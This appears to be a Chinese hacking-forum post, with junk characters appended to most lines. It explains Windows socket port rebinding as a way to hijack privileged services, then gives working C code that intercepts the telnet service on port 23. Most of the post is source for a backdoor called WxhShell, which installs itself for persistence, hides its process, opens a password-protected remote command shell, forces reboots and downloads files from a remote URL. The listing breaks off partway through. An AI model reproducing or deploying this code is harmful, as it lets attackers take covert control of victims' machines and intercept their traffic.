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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: g^[BnP)I  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); npMPjknl  
A O3MlK9t  
  saddr.sin_family = AF_INET; QS%t:,0lp  
-~ H?R  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); wPxtQv  
M+-1/vR *@  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); #r'S@:[  
j W/*-:  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 AQTV1f_  
h7J4 p  
  这意味着什么?意味着可以进行如下的攻击: 5v"Sv  
^c?$$Tq  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 D| g{]nO  
x\5v^$  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) @o>3 Bv.  
_bSn YhS  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 J=Hyoz+9  
vQmqYyOc2  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Ti$_V_  
q+W* ?a)  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 &VTO9d  
k;Ask#rs  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 t)hi j&wzu  
VvTi>2(.  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 K(rWM>Jv  
.x][ _I>  
  #include 4nKlW_{,  
  #include )wCV]TdF  
  #include z4 KKt&  
  #include    V;u FYt; E  
  DWORD WINAPI ClientThread(LPVOID lpParam);   -`,F e3  
  int main() KN".0WU  
  { h@fF`  
  WORD wVersionRequested; qv3% v3\4  
  DWORD ret; [}`-KpV!;  
  WSADATA wsaData; i=jY l  
  BOOL val; zo:NE0 0  
  SOCKADDR_IN saddr; ^CW{`eBwk  
  SOCKADDR_IN scaddr; c{[lT2yxU  
  int err; 70.Tm#qh  
  SOCKET s; |jb,sd[=S  
  SOCKET sc; \ {;3'<  
  int caddsize; yZc#@R[0  
  HANDLE mt;  NR98]X  
  DWORD tid;   ftD(ed  
  wVersionRequested = MAKEWORD( 2, 2 ); :*MR$Jf  
  err = WSAStartup( wVersionRequested, &wsaData ); I-m Bj8^;  
  if ( err != 0 ) { d[oHjWk  
  printf("error!WSAStartup failed!\n"); pyp0SGCM:  
  return -1; Iqq BUH  
  } {!^0j{T  
  saddr.sin_family = AF_INET; Fb6d1I^wR  
   Z u/w>  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 vGwpDu\RgX  
fndbGbl8p  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); e?+&2zMq  
  saddr.sin_port = htons(23); 5 Q/yPQN  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @.L/HXu-P  
  { #]r'?GN  
  printf("error!socket failed!\n"); D+y?KihE  
  return -1; Rd[^)q4d$w  
  } w%-S5#  
  val = TRUE; iw{^nSD  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Mk}*ze0%  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) !o\e/HGc!  
  { 3 J5lz~6  
  printf("error!setsockopt failed!\n"); MqRJ:x  
  return -1; 77-G*PI*I  
  } f dJ<(i]7W  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; $hy0U_}6  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 +v< \l=  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 -6$GM J7  
O=oIkvg  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) sfk;c#K  
  { %DM0Z8P$B-  
  ret=GetLastError(); V=<AI.Z:w  
  printf("error!bind failed!\n"); F>eo.|'  
  return -1; +G)a+r'0Q  
  } iXL?ic  
  listen(s,2); nPk&/H%5hn  
  while(1) 'V\V=yc1  
  { Kl<NAv%j  
  caddsize = sizeof(scaddr); @hy~H?XN  
  //接受连接请求 WEtPIHruyt  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ZEso2|   
  if(sc!=INVALID_SOCKET) e'->Sg  
  { g.\%jDM  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); N_/+B]r }T  
  if(mt==NULL) $W%-Mm  
  { !+]KxB   
  printf("Thread Creat Failed!\n"); ]E6r )C  
  break; !t}yoN n|  
  } RFX{]bQp9  
  } kK/XYC 0D  
  CloseHandle(mt); ;]@Pm<f  
  } )_Z^oH ]<  
  closesocket(s); o#=C[d5BV  
  WSACleanup(); v]Aop<KLX  
  return 0; J 5xMA-  
  }   zRbY]dW  
  DWORD WINAPI ClientThread(LPVOID lpParam) nLx|$=W  
  { <@Vf:`a!P>  
  SOCKET ss = (SOCKET)lpParam; E^$8nqCL:  
  SOCKET sc; #jd.i  
  unsigned char buf[4096]; O<E8,MCA[a  
  SOCKADDR_IN saddr; XUnw*3tPJ  
  long num; Y6Ux*vhK  
  DWORD val; IUNr<w<  
  DWORD ret; |* ^LsuFb  
  //如果是隐藏端口应用的话,可以在此处加一些判断 H8g%h}6h  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   w*&vH/D  
  saddr.sin_family = AF_INET; /0$fYrg>J  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); r?!:%L  
  saddr.sin_port = htons(23); -y{(h% 6  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7?{y&sf  
  { J_;*@mW  
  printf("error!socket failed!\n"); >239SyC-,  
  return -1; E AZX  
  } jU* D  
  val = 100; !zllv tK4  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) g7a446QR\K  
  { kD?@nx>  
  ret = GetLastError(); V)l:fUm2  
  return -1; L`X5\D'X  
  } 841y"@*BY  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )RT?/NW  
  { x)GheM^  
  ret = GetLastError(); &0tW{-Hv"  
  return -1; RRV%g!  
  } [0aC]XQZ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Z)2d4:uv  
  { GZ,MC?W  
  printf("error!socket connect failed!\n"); Ff(};$/& W  
  closesocket(sc); \"))P1  
  closesocket(ss); |w54!f6w_  
  return -1; cz{`'VN}`  
  } elQjPvb  
  while(1) GK!@|Kk8q7  
  { q?dd5JzZy,  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ENIg_s4  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 )#cZ& O  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ES AX}uF  
  num = recv(ss,buf,4096,0); #v<`|_  
  if(num>0) Q?1J<(oq9  
  send(sc,buf,num,0); 7C 0xKF  
  else if(num==0) U|V,&RlbR  
  break; I;%1xdPt  
  num = recv(sc,buf,4096,0); T3@2e0u )  
  if(num>0) z!O;s ep?/  
  send(ss,buf,num,0); &1yJrj9y  
  else if(num==0) kN Ll|in@  
  break; +pwTM]bV  
  } nJ]7vj,rB  
  closesocket(ss); |1(x2x%}D^  
  closesocket(sc); ]vvA]e  
  return 0 ; R6od{#5H$  
  } vj%"x/TP  
nPdkvs   
@Kz,TP!%A  
========================================================== RQ =$, i`  
n=V|NrU  
下边附上一个代码,,WXhSHELL k>mXh{ (  
[0y,K{8t  
========================================================== %W\NYSm  
S',h*e  
#include "stdafx.h" K~,!IU_QG  
:rQDA =Ps  
#include <stdio.h> ?.Vuet  
#include <string.h> hS8M|_  
#include <windows.h> JCn HEH  
#include <winsock2.h> npltsK):  
#include <winsvc.h> E> GmFw  
#include <urlmon.h> XXum2eA  
#%k_V+o3  
#pragma comment (lib, "Ws2_32.lib") iv_3R}IbX  
#pragma comment (lib, "urlmon.lib") ,--#3+]XU  
eLPtdP5k  
#define MAX_USER   100 // 最大客户端连接数 >W] Wc4 \  
#define BUF_SOCK   200 // sock buffer m`-:j"]b$  
#define KEY_BUFF   255 // 输入 buffer X}(X\rp  
Mb2a;s  
#define REBOOT     0   // 重启 xaVX@ 3r.3  
#define SHUTDOWN   1   // 关机 /B?wn=][  
"[~yu* S  
#define DEF_PORT   5000 // 监听端口 JseKqJ?g  
Yq00<kIDJ  
#define REG_LEN     16   // 注册表键长度 wi7Br&bGi  
#define SVC_LEN     80   // NT服务名长度 ; X+tCkzF  
2[`n<R\  
// 从dll定义API 1/?Wa  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #oTVfY#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,= ApnNUgX  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); q;nAq%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); '+/mt_re=  
WuY#Kx~2  
// wxhshell配置信息 ,jC~U s<  
struct WSCFG { b}Gm{;s!  
  int ws_port;         // 监听端口 1$E[`` n  
  char ws_passstr[REG_LEN]; // 口令 ZrEou}z(*  
  int ws_autoins;       // 安装标记, 1=yes 0=no Q" h]p  
  char ws_regname[REG_LEN]; // 注册表键名 jRC{8^98  
  char ws_svcname[REG_LEN]; // 服务名 oQ]FyV  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]@z!r2[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 A]0R?N9wb_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 v1yB   
int ws_downexe;       // 下载执行标记, 1=yes 0=no =p[Sd*d  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Xk%eU>d  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 GOdWc9Ta!  
yxu7YGp%  
}; 6)YckxN^  
OCdX'HN5Y  
// default Wxhshell configuration 0AWxU?$A4  
struct WSCFG wscfg={DEF_PORT, (G+)v[f  
    "xuhuanlingzhe", cLL2 '  
    1, >V)#y$Z  
    "Wxhshell", \Kui`X  
    "Wxhshell", SbUac<  
            "WxhShell Service", Mj>Q V(L8t  
    "Wrsky Windows CmdShell Service", k}g4?  
    "Please Input Your Password: ", aO inD  
  1, 3; z1Hp2X  
  "http://www.wrsky.com/wxhshell.exe", m=h/A xW  
  "Wxhshell.exe" 3<)][<Ud  
    }; Fg p|gw4  
RRy D<7s1  
// 消息定义模块 Xl<*Fn?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; GKWsJO5 n  
char *msg_ws_prompt="\n\r? for help\n\r#>"; e9'0CH<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Zp{K_ec{  
char *msg_ws_ext="\n\rExit."; nvQX)Xf  
char *msg_ws_end="\n\rQuit.";  l2M(  
char *msg_ws_boot="\n\rReboot..."; 'e<8j  
char *msg_ws_poff="\n\rShutdown..."; PQ_A^95  
char *msg_ws_down="\n\rSave to "; b~<V}tJ  
WaX!y$/z  
char *msg_ws_err="\n\rErr!"; TEer>gD:v  
char *msg_ws_ok="\n\rOK!"; p {. 6  
mg._c  
char ExeFile[MAX_PATH]; )j}#6r  
int nUser = 0; \O~/^ Y3U!  
HANDLE handles[MAX_USER]; 3e-E/6zH6  
int OsIsNt; 2V; Dn$q  
[q0^Bn}h  
SERVICE_STATUS       serviceStatus; @R;k@b   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `DGI|3  
WCqa[=v)t  
// 函数声明 ~A%+oa*2~  
int Install(void); )iC@n8f7o  
int Uninstall(void); 7&jq  =  
int DownloadFile(char *sURL, SOCKET wsh); 'Zex/:QS  
int Boot(int flag); e1V1Ae  
void HideProc(void); +o,f:Ih  
int GetOsVer(void); icVB?M,m  
int Wxhshell(SOCKET wsl); .n.N.e  
void TalkWithClient(void *cs); GKUjtPu  
int CmdShell(SOCKET sock); rOYYZ)Qw  
int StartFromService(void); b ettOg  
int StartWxhshell(LPSTR lpCmdLine); ~-sG&u>  
!"hzGgOOX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 23ho uS   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); h'vBWtMa  
e6 <9`Xg  
// 数据结构和表定义 I+3=|Ve f  
SERVICE_TABLE_ENTRY DispatchTable[] = e:N;Jx#  
{ -I*vl  
{wscfg.ws_svcname, NTServiceMain}, >lJTS t5{  
{NULL, NULL} V4n;N  
}; _T805<aUW\  
-~_|ZnuM9  
// 自我安装 Ut/%+r"s  
int Install(void) #tw_`yh  
{ j]-_kjt  
  char svExeFile[MAX_PATH];  -V"W  
  HKEY key; MlS5/9m@^  
  strcpy(svExeFile,ExeFile); k`z]l;:  
&?xtmg<d  
// 如果是win9x系统,修改注册表设为自启动 sS4V(:3s  
if(!OsIsNt) { u35"oLV6}#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oxI?7dy5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $|[N3  
  RegCloseKey(key); #2Vq"Zn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yVKl%GO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1IT(5Mleb  
  RegCloseKey(key); tef>Py  
  return 0; 7>0/$i#'Vl  
    } 6T_Ya)  
  } ;"RyHow  
} 1#fR=*ZM"  
else { s%~Nx3,  
Nm-E4N#'i  
// 如果是NT以上系统,安装为系统服务 1M55!b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,iZKw8]f  
if (schSCManager!=0) ZnuRy:  
{ Z>X]'q03  
  SC_HANDLE schService = CreateService O@dK^o  
  ( ;K4uu<e \  
  schSCManager, YV>&v.x0;  
  wscfg.ws_svcname, (Gapv9R  
  wscfg.ws_svcdisp, [a~@6*=  
  SERVICE_ALL_ACCESS, q@ wX=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?=-/5A4K  
  SERVICE_AUTO_START, b+f '  
  SERVICE_ERROR_NORMAL, 5'w&M{{9  
  svExeFile, MhD=\Lpj\  
  NULL, +Ll29Buyi  
  NULL, fwUF5Y  
  NULL, 8f%OPcr&  
  NULL, &arJe!K  
  NULL /_8nZVu  
  ); WqCj;Tj|  
  if (schService!=0) z  fy(j  
  { FBzsM7]j  
  CloseServiceHandle(schService); MFWkJbZV  
  CloseServiceHandle(schSCManager); 2$o\`^dy  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); m<*+^JN  
  strcat(svExeFile,wscfg.ws_svcname); WV p6/HS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :RBeq,QaO  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z;0<k;#T(p  
  RegCloseKey(key); ;DKJ#tS}"  
  return 0; dAOJ: @y  
    } ^\yz`b(A0  
  } Df(+@L5!  
  CloseServiceHandle(schSCManager); @2_ E9{T  
} `ooHABC  
} AOV{@ b(  
#)S&Z><<  
return 1; yi (IIW  
} N6%L4v8-}X  
!g#y$  
// 自我卸载 1jPh0?BY  
int Uninstall(void) )%8st'  
{ |fgh ryI,  
  HKEY key; pXA |'U5]  
<HpUP!q8v  
if(!OsIsNt) { |=:hUp Jp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l%2 gM7WMY  
  RegDeleteValue(key,wscfg.ws_regname); n(SeJk%>9  
  RegCloseKey(key); zzd PR}VG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6C ?,V3Z  
  RegDeleteValue(key,wscfg.ws_regname); :C={Z}t/F  
  RegCloseKey(key); IQ xi@7%&  
  return 0;  ]4K4Nh~  
  } Wxi;Tq9C@_  
} !lp7}[k<y  
} g<:TsP'|  
else { v7@ *dg  
r>rL[`p(2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^Gi WU +`  
if (schSCManager!=0) x@x5|8:ga  
{ @}' ?o_/C  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); u=0161g  
  if (schService!=0) ]UZP dw1D  
  { "i!W(}x+  
  if(DeleteService(schService)!=0) { CYM>4C~>JW  
  CloseServiceHandle(schService); ?}C8_I|4~  
  CloseServiceHandle(schSCManager); v}@Uc-(  
  return 0; '"6*C*XS  
  } xk^`4;  
  CloseServiceHandle(schService); mlz|KI~\F;  
  } V\AF%=6}  
  CloseServiceHandle(schSCManager); |W5lhx0U  
} Tz7|OV_W$  
} _D8:p>=  
_TbvQ Y  
return 1; RG_6& A  
} y]uBVn'u  
!14l[k+\  
// 从指定url下载文件  ">q?(i\  
int DownloadFile(char *sURL, SOCKET wsh) P&*e\"{  
{ N({-&A.N  
  HRESULT hr; _RWH$L9  
char seps[]= "/"; M`?ATmYy  
char *token; )!'7!" $  
char *file; U/-|hfh  
char myURL[MAX_PATH]; R+9 hog  
char myFILE[MAX_PATH]; k>:\4uI|<\  
&x/Z {ut  
strcpy(myURL,sURL); b:$q5  
  token=strtok(myURL,seps); UGP&&A#T-  
  while(token!=NULL) it->)?"(6  
  { ]G,BSttD  
    file=token; ozl>Au  
  token=strtok(NULL,seps); a@! O}f*  
  } |wyua@2  
SfPtG  
GetCurrentDirectory(MAX_PATH,myFILE); pJ/{X=y  
strcat(myFILE, "\\"); +ux`}L(  
strcat(myFILE, file); 1/A|$t[  
  send(wsh,myFILE,strlen(myFILE),0); 5qkyi]/U8  
send(wsh,"...",3,0); ',I$`h  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v3cLU7bi?2  
  if(hr==S_OK) /Y [ b8f  
return 0; $I9U.~*  
else nQG<OVRClS  
return 1; yjM!M|  
}*7Gq  
} 3w+ +F@(  
Gg%pU+'T  
// 系统电源模块 od*#)   
int Boot(int flag) >P-'C^:V=  
{ @QDpw1;V'  
  HANDLE hToken; tZ:fh  p  
  TOKEN_PRIVILEGES tkp; z\Z+>A  
2c3/iYCKP  
  if(OsIsNt) { WmE4TL^8?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |oR#j `  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); vhN6_XD  
    tkp.PrivilegeCount = 1; .GvZv>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {T3wOi  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^CB@4$!   
if(flag==REBOOT) { PrF('PH7i  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3lgD,_&  
  return 0; x6Q_+!mnk  
} \psO$TxF=  
else { fF. +{-.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e?;  
  return 0; :d@RN+U  
} y4Nam87;/?  
  } VA%4ssy  
  else { 6. vwK3\>~  
if(flag==REBOOT) { 4r9AUmJqw  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8cj}9}k  
  return 0; 1(jx.W3  
} |2I/r$Q  
else { 3C2~heO>|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /L` +  
  return 0; |j4;XaG)  
} _ + >V(,{G  
} _ FN#Vq2  
Qi|k,1A0  
return 1; ,N8SP 'R  
} N^jr  
;B;wU.Y"  
// win9x进程隐藏模块 ?*cCn-|  
void HideProc(void) -c %'f&P  
{ cZAf?,>u  
v=-T3 n  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +KIFLuL  
  if ( hKernel != NULL ) ][>-r&V  
  { Nk?/vMaw  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]F"@+_E  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {Vf].l:kn  
    FreeLibrary(hKernel); HyIyrUrYW  
  } `Nv7c{M^  
KnUVR!H|  
return; [2z >8 SL  
} 8aW<lu  
5B;;{GR  
// 获取操作系统版本 9\%`/tJM  
int GetOsVer(void) EHrr}&  
{ KqXPxp^_Al  
  OSVERSIONINFO winfo; Lo}zT-F  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); iL'j9_w,  
  GetVersionEx(&winfo); _: !7M ^IU  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;;Jx1Q  
  return 1; Pe` jNiI  
  else `Yyi;!+0  
  return 0;  `dIwBfg_  
} i_p-|I:hQ  
a!, X@5  
// 客户端句柄模块 G1wJ]ar  
int Wxhshell(SOCKET wsl) 7~VDk5Z6  
{ [f=Y*=u9,  
  SOCKET wsh; 1/c+ug!y  
  struct sockaddr_in client; % ejq|i7  
  DWORD myID; BxesoB  
<6C:\{eo  
  while(nUser<MAX_USER) )%HIC@MM6  
{ %t]{C06w+{  
  int nSize=sizeof(client); Z5[g[Q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ce} m_  
  if(wsh==INVALID_SOCKET) return 1; Uf~5Fc1d =  
o>HGfr,N  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |q Pu*vR  
if(handles[nUser]==0) 2 e&M/{  
  closesocket(wsh); "1rT> ASWI  
else [NbW"Y7  
  nUser++; Cw~fP[5XMF  
  } t_\&LMD  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); H"wIa8A  
 Rp6q)  
  return 0; =|H.r9-PK6  
} h79~d%-  
h/*@ML+bB8  
// 关闭 socket dyl1~'K^  
void CloseIt(SOCKET wsh) n39EKH rm%  
{ yn.[-  
closesocket(wsh); TpxAp',#7  
nUser--; X5+$:jq&  
ExitThread(0); ix5<h }  
} Twk<<  
j k&\{  
// 客户端请求句柄 @I?: x4  
void TalkWithClient(void *cs) T `o[whr  
{ ~gg&G~ ET  
gq~"Z[T  
  SOCKET wsh=(SOCKET)cs; =0SJf 3  
  char pwd[SVC_LEN]; m1M6N`f  
  char cmd[KEY_BUFF]; c~!ETwpHQ  
char chr[1]; .>Fpk7  
int i,j; 0+AMN-  
N\Ab0mDOV.  
  while (nUser < MAX_USER) { z</^qy  
0R}hAK+| 4  
if(wscfg.ws_passstr) { FhQb9\g  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ul!q)cPb{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DkW^gt  
  //ZeroMemory(pwd,KEY_BUFF); \+k~p:d_8  
      i=0; vILgM\or  
  while(i<SVC_LEN) { =)J<R;  
l/A!ofc#)  
  // 设置超时 kR{$&cE^  
  fd_set FdRead; '30JJ0  
  struct timeval TimeOut; w7f)v\p  
  FD_ZERO(&FdRead); 7yOBxb   
  FD_SET(wsh,&FdRead); sY?sQ'E2]  
  TimeOut.tv_sec=8; =]1g*~%  
  TimeOut.tv_usec=0; +R"n_6N  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); IH.EvierJ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f,ql8q(|J  
nI8zT0o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 18]Q4s8E  
  pwd=chr[0]; EB p g  
  if(chr[0]==0xd || chr[0]==0xa) { HstL'{&,-m  
  pwd=0; ..=lM:13|  
  break; 'h[7AZ&)#  
  } Mo4c8wp&SM  
  i++; @2TfW]6  
    } 0f9U:)1z  
<}F(G-kV6  
  // 如果是非法用户,关闭 socket )M8@|~~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zo@,>'m  
} gBZNO! a,d  
,_K:DSiB  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Uh'W d_?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >2NsBS(  
YB(8 T"  
while(1) { Ii>#9>!F  
}d@;]cps  
  ZeroMemory(cmd,KEY_BUFF); S`vw<u4t  
He&A>bA)z  
      // 自动支持客户端 telnet标准   V>ZDJW"G!  
  j=0; Hio+k^  
  while(j<KEY_BUFF) { M{p9b E[j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S(lqj6aa}  
  cmd[j]=chr[0]; ""h%RhcZ\  
  if(chr[0]==0xa || chr[0]==0xd) { ,2P /[ :  
  cmd[j]=0; ^Zlbs goZ  
  break; zR?1iV.]  
  } qipS`:TER  
  j++; {vur9L  
    } rym*W\AWx  
u(JuU/U  
  // 下载文件 7<k@{xI/  
  if(strstr(cmd,"http://")) { 6` 3kNk;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _:JV-lM  
  if(DownloadFile(cmd,wsh)) <80M$a g  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  1 K]  
  else kqGydGh*"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u3sr"w&  
  } |V^f}5gd  
  else { K] &GSro  
`R*!GHro  
    switch(cmd[0]) { jEK{47i v  
  id]}10  
  // 帮助 FV%|*JW[;N  
  case '?': { l s%'\}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6L2Wv5C  
    break; E&Sr+D aPD  
  } @== "$uRw  
  // 安装 xFyBF[c  
  case 'i': { eGo$F2C6E  
    if(Install()) 4ZB]n,pfT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NU[Wj uLG  
    else >uE<-klv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eYPIZ{S7h  
    break; >Fc=F#tA9  
    } {7Kl #b  
  // 卸载 8qT^=K $  
  case 'r': { <g, 21(bc  
    if(Uninstall()) u Npa2{S'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d!"gb,ec  
    else mOb@w/f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s+v$sF  
    break; 9W j9=  
    } 5'EoB^`8N~  
  // 显示 wxhshell 所在路径 yaAg!mW  
  case 'p': { jjg&C9w T  
    char svExeFile[MAX_PATH]; w# ;t$qz}  
    strcpy(svExeFile,"\n\r"); l!IN#|{(  
      strcat(svExeFile,ExeFile); Ub[UB%(T  
        send(wsh,svExeFile,strlen(svExeFile),0); OO;I^`Yn  
    break; |2I p*  
    } =E&1e;_xlE  
  // 重启 e(9K.3 @{  
  case 'b': { e{.P2rnh  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); xP 3>8Y  
    if(Boot(REBOOT)) SnoEi~Da  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,;yaYF 6|/  
    else { ]K<7A!+@@p  
    closesocket(wsh); RMAbu*D0  
    ExitThread(0); )(yKm/5 0  
    } z@2nre  
    break; <p[RhP  
    } :{?Pq8jP  
